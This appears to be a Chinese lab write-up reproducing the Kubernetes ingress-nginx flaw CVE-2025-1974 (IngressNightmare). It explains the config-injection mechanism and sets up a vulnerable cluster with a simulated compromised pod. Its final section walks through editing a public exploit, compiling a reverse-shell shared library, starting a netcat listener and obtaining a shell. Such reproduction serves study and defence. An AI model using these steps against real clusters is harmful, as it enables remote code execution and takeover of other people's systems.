漏洞原理
CVE-2025-1974: The IngressNightmare in Kubernetes | Wiz Blog
分两方面:
a、配置注入过程
- 构造一个恶意的Ingress资源,其中注入ssl_engine指令指向恶意共享库
- 向准入控制器验证端点(AdmissionWebhook)发送AdmissionReview请求(刚才的恶意Ingress资源)
- AdmissionWebhook验证通过
- Ingress-NGINX Controller监听到Ingress资源变更,在内存中生成配置文件
- Ingress-NGINX Controller调用 nginx -t 命令检查配置语法是否合法,触发RCE,反弹shell
b、投递恶意共享库过程
- 编译恶意共享库
- 构造特殊HTTP请求(旨在触发Nginx特性)投递恶意共享库
- Nginx实例处理HTTP请求,由于Nginx特性生成临时文件(保持文件描述符FD打开)
- 多次发送AdmissionReview请求爆破文件描述符FD(即并发上述a过程)
环境搭建
安装K8S
版本选择:先看Ingress漏洞版本,倒推K8S版本,参考ingress-nginx官方适配表
https://github.com/kubernetes/ingress-nginx
Supported | Ingress-NGINX version | k8s supported version | Alpine Version | Nginx Version | Helm Chart Version |
---|---|---|---|---|---|
🔄 | v1.12.1 | 1.32, 1.31, 1.30, 1.29, 1.28 | 3.21.3 | 1.25.5 | 4.12.1 |
🔄 | v1.12.0 | 1.32, 1.31, 1.30, 1.29, 1.28 | 3.21.0 | 1.25.5 | 4.12.0 |
🔄 | v1.12.0-beta.0 | 1.32, 1.31, 1.30, 1.29, 1.28 | 3.20.3 | 1.25.5 | 4.12.0-beta.0 |
🔄 | v1.11.5 | 1.30, 1.29, 1.28, 1.27, 1.26 | 3.21.3 | 1.25.5 | 4.11.5 |
🔄 | v1.11.4 | 1.30, 1.29, 1.28, 1.27, 1.26 | 3.21.0 | 1.25.5 | 4.11.4 |
🔄 | v1.11.3 | 1.30, 1.29, 1.28, 1.27, 1.26 | 3.20.3 | 1.25.5 | 4.11.3 |
🔄 | v1.11.2 | 1.30, 1.29, 1.28, 1.27, 1.26 | 3.20.0 | 1.25.5 | 4.11.2 |
🔄 | v1.11.1 | 1.30, 1.29, 1.28, 1.27, 1.26 | 3.20.0 | 1.25.5 | 4.11.1 |
🔄 | v1.11.0 | 1.30, 1.29, 1.28, 1.27, 1.26 | 3.20.0 | 1.25.5 | 4.11.0 |
v1.10.6 | 1.30, 1.29, 1.28, 1.27, 1.26 | 3.21.0 | 1.25.5 | 4.10.6 | |
v1.10.5 | 1.30, 1.29, 1.28, 1.27, 1.26 | 3.20.3 | 1.25.5 | 4.10.5 | |
v1.10.4 | 1.30, 1.29, 1.28, 1.27, 1.26 | 3.20.0 | 1.25.5 | 4.10.4 | |
v1.10.3 | 1.30, 1.29, 1.28, 1.27, 1.26 | 3.20.0 | 1.25.5 | 4.10.3 | |
v1.10.2 | 1.30, 1.29, 1.28, 1.27, 1.26 | 3.20.0 | 1.25.5 | 4.10.2 | |
v1.10.1 | 1.30, 1.29, 1.28, 1.27, 1.26 | 3.19.1 | 1.25.3 | 4.10.1 | |
v1.10.0 | 1.29, 1.28, 1.27, 1.26 | 3.19.1 | 1.25.3 | 4.10.0 | |
v1.9.6 | 1.29, 1.28, 1.27, 1.26, 1.25 | 3.19.0 | 1.21.6 | 4.9.1 | |
v1.9.5 | 1.28, 1.27, 1.26, 1.25 | 3.18.4 | 1.21.6 | 4.9.0 | |
v1.9.4 | 1.28, 1.27, 1.26, 1.25 | 3.18.4 | 1.21.6 | 4.8.3 | |
v1.9.3 | 1.28, 1.27, 1.26, 1.25 | 3.18.4 | 1.21.6 | 4.8.* | |
v1.9.1 | 1.28, 1.27, 1.26, 1.25 | 3.18.4 | 1.21.6 | 4.8.* | |
v1.9.0 | 1.28, 1.27, 1.26, 1.25 | 3.18.2 | 1.21.6 | 4.8.* | |
v1.8.4 | 1.27, 1.26, 1.25, 1.24 | 3.18.2 | 1.21.6 | 4.7.* | |
v1.7.1 | 1.27, 1.26, 1.25, 1.24 | 3.17.2 | 1.21.6 | 4.6.* | |
v1.6.4 | 1.26, 1.25, 1.24, 1.23 | 3.17.0 | 1.21.6 | 4.5.* | |
v1.5.1 | 1.25, 1.24, 1.23 | 3.16.2 | 1.21.6 | 4.4.* | |
v1.4.0 | 1.25, 1.24, 1.23, 1.22 | 3.16.2 | 1.19.10† | 4.3.0 | |
v1.3.1 | 1.24, 1.23, 1.22, 1.21, 1.20 | 3.16.2 | 1.19.10† | 4.2.5 |
搭建K8S可参照我上篇文章:
【云安全】云原生-centos7搭建/安装/部署k8s1.23.6单节点-CSDN博客
我之前搭过一版K8S,是1.23.6,因此对应安装1.6.4的ingress,处于漏洞版本内
安装Ingress
推荐大佬 Dubito 微信公众号“云原生安全指北”的文章,写得很详细!
【漏洞复现】IngressNightmare CVE-2025-1974 RCE漏洞复现(万字长文|图文并茂|有手就能跟)
1、下载对应版本Ingress的deployment
export http_proxy="http://192.168.48.1:7890"
export https_proxy="http://192.168.48.1:7890"
wget https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.6.4/deploy/static/provider/baremetal/deploy.yaml
2、更换镜像源
首先,查询所需镜像
cat deploy.yaml | grep image:
其次,使用 渡渡鸟镜像同步站 搜索关键词:ingress-nginx/controller:v1.6.4,更改成该网站的镜像地址即可,对应改成如下三条
swr.cn-north-4.myhuaweicloud.com/ddn-k8s/registry.k8s.io/ingress-nginx/controller:v1.6.4
swr.cn-north-4.myhuaweicloud.com/ddn-k8s/registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20220916-gd32f8c343
swr.cn-north-4.myhuaweicloud.com/ddn-k8s/registry.k8s.io/ingress-nginx/kube-webhook-certgen:v20220916-gd32f8c343
3、部署Ingress
#部署前先取消代理
unset http_proxy
unset https_proxy
#部署
kubectl apply -f deploy.yaml
#验证
kubectl get all -n ingress-nginx
验证发现这时POD处于pending状态,使用如下命令查看原因
kubectl describe pod ingress-nginx-controller-85f587f9d4-bt58m -n ingress-nginx
主要看Events
这是因为单节点部署,而master默认存在污点设置,导致POD无法调度,可通过命令查看并移除污点
kubectl get node
kubectl describe node master-1 | grep Taint
kubectl taint nodes master-1 node-role.kubernetes.io/master:NoSchedule-
kubectl describe node master-1 | grep Taint
再次查看ingress状态,成功安装!
模拟失陷POD
1、本地Docker打镜像
cat <<EOF >Dockerfile
# 使用官方Python基础镜像
FROM python:3.11.7
# 设置工作目录
WORKDIR /app
# 安装httpx库
RUN pip install --no-cache-dir httpx
# 设置容器启动时运行的命令
CMD ["python", "-c", "import httpx; import time; print('Httpx library is available'); time.sleep(9999999)"]
EOF
#构建命令
docker build -t python-test-ingress-nginx .
2、把 Docker 镜像导入到 K8s 用的 containerd
docker save python-test-ingress-nginx | sudo ctr -n=k8s.io images import -
#确认镜像是否导入成功
sudo ctr -n k8s.io image ls | grep python
3、K8s部署镜像,模拟失陷POD
首先,编写deployment文件python_deploy.yaml
cat <<EOF >python_deploy.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
name: python-app
namespace: test
spec:
replicas: 1
selector:
matchLabels:
app: python-app
template:
metadata:
labels:
app: python-app
spec:
containers:
- name: python-container
image: docker.io/library/python-test-ingress-nginx:latest
imagePullPolicy: Never
EOF
其次,执行命令部署
kubectl create ns test
kubectl apply -f python_deploy.yaml
#验证状态
kubectl get pod -n test
漏洞复现
1、准备武器(prepare tools)
(1)下载EXP
GitHub - yoshino-s/CVE-2025-1974
export http_proxy="http://192.168.48.1:7890"
export https_proxy="http://192.168.48.1:7890"
git clone https://github.com/yoshino-s/CVE-2025-1974.git
cd CVE-2025-1974/
(2)修改EXP
vim exploit.py
由于我这里的环境是模拟失陷POD(贴近实际),属于集群内部网络访问,无需端口转发,用第6、7行的URL即可,注释12、13行;
修改第25、26行PID值和FD值,根据经验判断或者进入ingress容器查看进程可知PID值大约为26开始,FD值大约为6开始
完善脚本,删除47行的 return
修改shell.c
vim shell.c
服务器地址改成自己攻击机的监听地址
2、打造武器
编译前,先了解ingress-nginx controller执行.so文件依赖的库版本,编译时指定同样的库版本
kubectl get pod -n ingress-nginx
kubectl exec -it -n ingress-nginx ingress-nginx-controller-85f587f9d4-gwm8r -- bash
#进入ingress容器之后执行
find / -name "libcrypto.so*" 2>/dev/null
确认ingress-nginx controller容器中库版本是3版本
同样,看一下编译的机器库版本,发现有3版本可以用
于是使用下面的命令指定库进行编译
gcc -fPIC -Wall -shared -o shell.so shell.c /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/2/fs/usr/lib/x86_64-linux-gnu/libcrypto.so.3
#验证
ldd shell.so
3、上传武器
上传以下三个文件到失陷POD
#查看POD名称
kubectl get pod -n test
#上传
kubectl cp ./shell.so -n test python-app-94bdc8d99-prz64:/app/
kubectl cp ./exploit.py -n test python-app-94bdc8d99-prz64:/app/
kubectl cp ./req.json -n test python-app-94bdc8d99-prz64:/app/
4、攻击机进行监听
nc -lvnp 7788
5、attack
进入失陷POD执行EXP
kubectl exec -it -n test python-app-94bdc8d99-prz64 -- bash
#进入POD后执行
python exploit.py
成功反弹shell